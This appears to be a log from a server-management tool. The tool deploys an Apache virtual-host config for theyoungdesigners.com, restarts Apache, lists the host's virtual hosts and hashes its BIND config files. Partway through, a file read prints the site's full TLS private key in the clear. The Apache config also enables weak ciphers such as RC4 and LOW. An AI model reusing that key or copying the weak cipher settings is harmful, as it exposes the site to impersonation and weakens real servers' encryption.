    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-06 06:00:14: 

PUT: /tmp/pkp215877

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_com.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_com.conf= 1'
fi


2026-06-06 06:00:14: 

chmod 755 /tmp/pkp215877; /tmp/pkp215877; rm /tmp/pkp215877

2026-06-06 06:00:14: 




2026-06-06 06:00:14: 

PUT: /tmp/pkp484290

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-06 06:00:14: 

chmod 755 /tmp/pkp484290; /tmp/pkp484290; rm /tmp/pkp484290

2026-06-06 06:00:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-06 06:00:14: Establishing a connection
2026-06-06 06:00:14: 

PUT: /tmp/pkp538484

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-06 06:00:14: 

chmod 755 /tmp/pkp538484; /tmp/pkp538484; rm /tmp/pkp538484

2026-06-06 06:00:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-06 06:00:14: 

PUT: /tmp/pkp273906

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-06 06:00:14: 

chmod 755 /tmp/pkp273906; /tmp/pkp273906; rm /tmp/pkp273906

2026-06-06 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf	1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-06 06:00:14: 

PUT: /tmp/pkp320743

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-06 06:00:14: 

chmod 755 /tmp/pkp320743; /tmp/pkp320743; rm /tmp/pkp320743

2026-06-06 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt	3593
71:23:69:9a:b6:5a:c9:c1:68:fe:2d:63:7f:70:4f:37

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBgXxsj0BV5kPkZ11ro4hDpm2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjA2MDUwMTQyWhcNMjYwOTA0MDUwMTQxWjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCnNfK9HQ4pORH1iGZp0z98KBzNoXmB8vWniaR+iVr2Xl4tMy9dXhbi
ybc/lJaM+h1s89kj6O621OuTlDB4DxtkLzsu2lNjzrlzb2Qc1dqirhsccmD5Goi2
AV1dyfdT3vM8QkGN37j97zuT5G4Q1Nb5an5ebN6TIUCHD6J5E2BjimZ55V6jCriH
d+Bmc1FTMWJr8EFy59ldXBa9Iu6cWOmuGGJ4p8jmQeEur6w4hkLJ21iqSrs9aZU8
TKJ2qnpTOGtSObPeaHhBCLW9MSo+tfcy9M1h6GZfKXnK7argc0LtVZ2iNHZ6giYo
Wlewa7kMtM8vgKHbdbjeKpSypS5sgo+jAgMBAAGjggI9MIICOTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUaG8Na+IHhvSXQD5v75B3I3cO11EwHwYDVR0jBBgwFoAUQBUtJnntMiCe35py
HdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIy
LmkubGVuY3Iub3JnLzA7BgNVHREENDAyghV0aGV5b3VuZ2Rlc2lnbmVycy5jb22C
GXd3dy50aGV5b3VuZ2Rlc2lnbmVycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy81NS5jcmww
ggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XG
RvmXrTl1mR3PmgAAAZ6bhIABAAAEAwBHMEUCIEgGOE2CtXqjo7r222WsaIkXXOt4
0/IZFKutHnHBqKmMAiEA4qt1nrucw9bA4p4vyuKSVtNRBQ6EMmn0R0mxVKLCukEA
fQCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ6bhIGSAAgAAAUA
Di+0oAQDAEYwRAIgZUXomlHXzUqImR+rCjbf9ciiMMUlKuJzV8uD6B43n2UCIBUd
AQp9mipsCSTttXcgpGhQxhRpeOuH0t2NMSBWRwyAMA0GCSqGSIb3DQEBCwUAA4IB
AQAg6Q6cTVxewzYTIQAtalraKdHVMOKScPUR04fjQPmTD2MjXpMd5kp5tT2OCH9P
ax1Xa0Qd1uUonstBbbRAOhjQAVIMg2Zs/wC8RRCppv6w6FPwwkM4JXz4o2VA8rvQ
1i/khZ1tKYUphVyssQZEAwhR/FCsBzxzP5AXJSMRqIQ1yvZ186ewPqDU8oR/eOlK
dyxKa6BFRhrpMdXJOPvQexLa/Z9qdaA8KK8ltsfUCfRI4jWfg6cXqspvmr3EoLtc
aLKPYyGpdJtFtPuHlBB01magx43vITr4BfBgFTyeLu4HTHWZEv4yet94X0oLX0c9
wVKNFFsXkfze1BPn3YSO9QLq
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCnNfK9HQ4pORH1
iGZp0z98KBzNoXmB8vWniaR+iVr2Xl4tMy9dXhbiybc/lJaM+h1s89kj6O621OuT
lDB4DxtkLzsu2lNjzrlzb2Qc1dqirhsccmD5Goi2AV1dyfdT3vM8QkGN37j97zuT
5G4Q1Nb5an5ebN6TIUCHD6J5E2BjimZ55V6jCriHd+Bmc1FTMWJr8EFy59ldXBa9
Iu6cWOmuGGJ4p8jmQeEur6w4hkLJ21iqSrs9aZU8TKJ2qnpTOGtSObPeaHhBCLW9
MSo+tfcy9M1h6GZfKXnK7argc0LtVZ2iNHZ6giYoWlewa7kMtM8vgKHbdbjeKpSy
pS5sgo+jAgMBAAECggEAHahL7Y8Bu/4LWWlgANUfJX5X3YEOdCYLvDOFoYvrPldu
jMXPWNgfZwowHm7UZRzXq0N0+BGQhY0uW3alQiYrzZEzBhRjRgicjATt1M95f/Ex
jdIbsRMrvFxxmvj/jTi2G7IEvo032pJcFtclTobxujtRPp5AvAfh0hLL1n3BUuYn
8gi+Vt37w6Ve2amEpjabs4o2zi3XZDMONkL2P+4ro60AsNRL8+0Y0kWivoOZJe/z
CbNNQU6HshB8fcSQac9YHuHhj5TmFcTjPjMCdQjrpx3TXSgtKLblk5gZgJv7uRBK
vxmQkuhmG42BC3b5972xPrNkvHGEjBwiq1ML1IqKQQKBgQDPp+BUMKz1Gi08VJDR
JDMRUHM1u3DkpxhnWN27pB9M2s22a5giHpQQgOf4wf5ojmEGQ0d4IjwfXTynLknu
cHe/Fjab8tDhqmaBuj4YpwVltLXlsg7h/ccztR3HoxAMugS7Pa+KRS6vfr0CDudB
qY0NUd+WpBGUHzmnNk7QIRQOrQKBgQDOI5RF1JVhblLd4WzYSHgFH5YwWt0yr1bW
H7UnoUR1JH/169P+sUeyvavAwwhM5XlrYnfrysC7GY11az0sQH1TprzI9MmtQf+P
Yns/OVrtHBOvPcdRnm535C2u5YaHqfpK4pMGXJgnd6yPwFmIgXeMYl9AE3zJtZaS
DnJmlaRxjwKBgE1GJ5Cs3HAJYbQFtC5fzjEvQvBH5GbyV35972WYWZ17/vlXaLGp
t2e80JYdetLlyO1PtBTciIsTYzLDYve8GpOdbIzz+w8/Hg5AhEMgRD3o1Ze4fxlS
GwL+7yoPYDWcM46KEfzeadUc0LEnYp9ovPir8wxX2cLJK+cxqnqBFLmxAoGAfk/y
5S80MbWGdYtSRN1zHcCTKSIkdJBYZ3CacqQw7I7nEevlxSUgR/hNLBrWFThvxEtc
LFHa80rfEVoa6+jAYufCumi0w8OzM0snNkCQ5MXVkgYLAopQKorZK1hdrPeM9SIM
8VL/sP9178fvlOOwO4dz0jGev4LTtr+/ffioASUCgYEAzsJWdjevgI7kO/wCs1PJ
5J7stzWG3M95Vn/ft8JELdrFuPgavI5IKUhZDP04lejSa7Yr1tC/LbYJXjYPFHRl
stnyclmzdUNdqsUA7aei/IRqaBeWiIsTagwiYV8U+HwWa/vXpzj8bn3LHwjZmSvl
Gk20uv+sJhEbCqSbV2aE4wM=
-----END PRIVATE KEY-----







2026-06-06 06:00:16: Establishing a remote connection
2026-06-07 08:22:15: Establishing a connection
2026-06-07 08:22:29: Establishing a connection
2026-06-07 08:22:30: 

PUT: /tmp/pkp537213

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-07 08:22:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp537213; rm /tmp/pkp537213'

2026-06-07 08:22:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
